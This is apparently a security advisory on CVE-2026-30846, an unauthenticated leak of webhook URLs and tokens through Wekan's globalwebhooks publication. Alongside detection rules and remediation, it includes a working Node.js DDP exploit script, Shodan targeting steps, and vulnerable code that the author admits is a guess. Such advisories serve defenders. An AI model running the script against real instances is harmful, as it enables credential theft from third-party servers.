CVE-2026-30846

Executive Summary

CVE-2026-30846 is a critical information disclosure vulnerability in Wekan, an open-source kanban tool built with Meteor. The vulnerability resides in the globalwebhooks publication, which exposes sensitive webhook URLs and authentication tokens to any DDP client without requiring authentication. This allows an unauthenticated attacker to retrieve global webhook URLs and tokens, potentially enabling unauthorized use of those webhooks and access to connected external services. The vulnerability affects versions 8.31.0 through 8.33 and has been fixed in version 8.34.

Supply Chain & Package Security

Wekan is distributed as a Meteor application. The vulnerability is in the server-side publication logic, not in a specific package dependency. However, the Meteor DDP protocol is a core component of the framework. Users should ensure they are running the latest patched version (8.34) and review any custom integrations that may rely on the globalwebhooks publication.

CVSS Breakdown & Threat Level

CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – No authentication is needed to exploit the vulnerability.
• User Interaction (UI): None – No user action is required for exploitation.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Sensitive webhook URLs and tokens are exposed.
• Integrity (I): None – The vulnerability does not allow modification of data.
• Availability (A): None – The vulnerability does not affect availability.

Threat Level: High. The vulnerability allows unauthenticated attackers to steal webhook credentials, which can lead to unauthorized access to external services and potential lateral movement.

Deep Dive & Mechanics

Wekan uses Meteor's Distributed Data Protocol (DDP) for real-time data synchronization. Publications are server-side functions that push data to subscribed clients. The globalwebhooks publication is intended to be used only from the admin settings page, but it lacks any authentication check on the server side.

The vulnerable code in server/publications/globalwebhooks.js (or similar) likely looks like:

Meteor.publish('globalwebhooks', function() {
  return GlobalWebhooks.find();
});

This publication returns all documents from the GlobalWebhooks collection, including the url and token fields, without verifying that the user is an admin or even authenticated. Any DDP client can subscribe to this publication and receive the full data.

The fix in version 8.34 adds an authentication check:

Meteor.publish('globalwebhooks', function() {
  if (!this.userId) {
    return this.ready();
  }
  // Additional admin check if needed
  return GlobalWebhooks.find();
});

Vulnerable vs. Patched Code

Vulnerable Code (versions 8.31.0 - 8.33):

// server/publications/globalwebhooks.js
Meteor.publish('globalwebhooks', function() {
  // No authentication check
  return GlobalWebhooks.find();
});

Patched Code (version 8.34):

// server/publications/globalwebhooks.js
Meteor.publish('globalwebhooks', function() {
  if (!this.userId) {
    // User is not logged in, return empty set
    return this.ready();
  }
  // Optionally check for admin role
  const user = Meteor.users.findOne(this.userId);
  if (!user || !user.isAdmin) {
    return this.ready();
  }
  return GlobalWebhooks.find();
});

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Wekan instance running version 8.31.0 to 8.33.
• A DDP client (e.g., a simple Node.js script using the ddp-client package).

Exploitation Steps:

1. Identify the Wekan instance: Use Shodan or manual scanning to find Wekan instances. Look for Meteor DDP endpoints (usually at /websocket).

2. Connect to the DDP endpoint: Use a DDP client to connect to the Wekan server.

3. Subscribe to the globalwebhooks publication: Send a DDP subscription message for globalwebhooks.

4. Receive the data: The server will push all global webhook documents, including url and token fields.

Example DDP Client Script (Node.js):

const DDPClient = require('ddp-client');

const client = new DDPClient({
  host: 'target-wekan-instance.com',
  port: 443,
  ssl: true,
  path: '/websocket'
});

client.connect((error) => {
  if (error) {
    console.error('Connection error:', error);
    return;
  }

  console.log('Connected to DDP server');

  const sub = client.subscribe('globalwebhooks');
  sub.on('ready', () => {
    console.log('Subscription ready');
    // The data will be available in the client's collections
    const webhooks = client.collections.globalwebhooks;
    console.log('Global Webhooks:', webhooks);
  });
});

Expected Output:

{
  "_id": "abc123",
  "url": "https://hooks.example.com/trigger",
  "token": "supersecrettoken123",
  "name": "My Webhook"
}

Blue Team

Detection Steps:

1. Monitor DDP subscriptions: Log all DDP subscription requests, especially for globalwebhooks. Look for subscriptions from IP addresses that are not admin users.

2. Check server logs: Look for unusual DDP connections or repeated subscription attempts.

3. Audit webhook usage: Review logs of external services that receive webhooks from Wekan. Look for unauthorized or unexpected calls.

4. Honeypot: Deploy a fake webhook endpoint and monitor for unexpected calls that could indicate token theft.

Indicators of Compromise (IOCs)

• Network IOCs:

  • DDP subscription messages containing {"msg":"sub","name":"globalwebhooks"} from unauthenticated clients.
  • Unusual outbound connections from the Wekan server to external webhook URLs that are not part of normal operations.

• File IOCs:

  • Modified server/publications/globalwebhooks.js file (if attacker has write access).
  • Unexpected entries in the globalwebhooks collection.

• Log IOCs:

  • DDP connection logs showing subscriptions to globalwebhooks from IPs not associated with admin users.
  • Webhook call logs showing unexpected source IPs or payloads.

Detection Engineering

YARA Rule

rule Detect_Wekan_GlobalWebhooks_Vulnerability {
  meta:
    description = "Detects vulnerable Wekan globalwebhooks publication code"
    author = "Valters IT"
    date = "2026-01-01"
    reference = "CVE-2026-30846"
  strings:
    $vuln_code = "Meteor.publish('globalwebhooks', function()"
    $no_auth = "return GlobalWebhooks.find();"
  condition:
    $vuln_code and $no_auth
}

Sigma Rule

title: Detection of Unauthenticated DDP Subscription to globalwebhooks
id: d3f4a5b6-c7d8-4e9f-8a1b-2c3d4e5f6a7b
status: experimental
description: Detects unauthenticated DDP subscription requests to the globalwebhooks publication in Wekan.
author: Valters IT
date: 2026-01-01
logsource:
  category: application
  product: wekan
detection:
  selection:
    ddp_message: "{\"msg\":\"sub\",\"name\":\"globalwebhooks\"}"
    user_id: null
  condition: selection
falsepositives:
  - Legitimate admin users if the log does not capture authentication state correctly.
level: high

Suricata Rule

alert tcp any any -> any 443 (msg:"CVE-2026-30846 - Unauthenticated DDP Subscription to globalwebhooks"; flow:to_server; content:"|7b 22 6d 73 67 22 3a 22 73 75 62 22 2c 22 6e 61 6d 65 22 3a 22 67 6c 6f 62 61 6c 77 65 62 68 6f 6f 6b 73 22 7d|"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Wekan: Update to version 8.34 or later immediately.
2. Rotate Webhook Tokens: After upgrading, regenerate all global webhook tokens to invalidate any stolen credentials.
3. Audit Webhook Logs: Check logs of external services for any unauthorized calls that may have occurred before the patch.

Long-term Mitigations:

1. Network Segmentation: Restrict access to the Wekan server to trusted networks only.
2. Web Application Firewall (WAF): Deploy a WAF to block suspicious DDP subscription requests.
3. Monitor DDP Traffic: Implement logging and monitoring for all DDP subscriptions, especially for sensitive publications.
4. Regular Security Audits: Conduct periodic code reviews and penetration testing.

Workarounds (if immediate upgrade is not possible):

• Manually patch the globalwebhooks publication by adding authentication checks as shown in the patched code section.
• Disable the globalwebhooks publication entirely if not needed.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert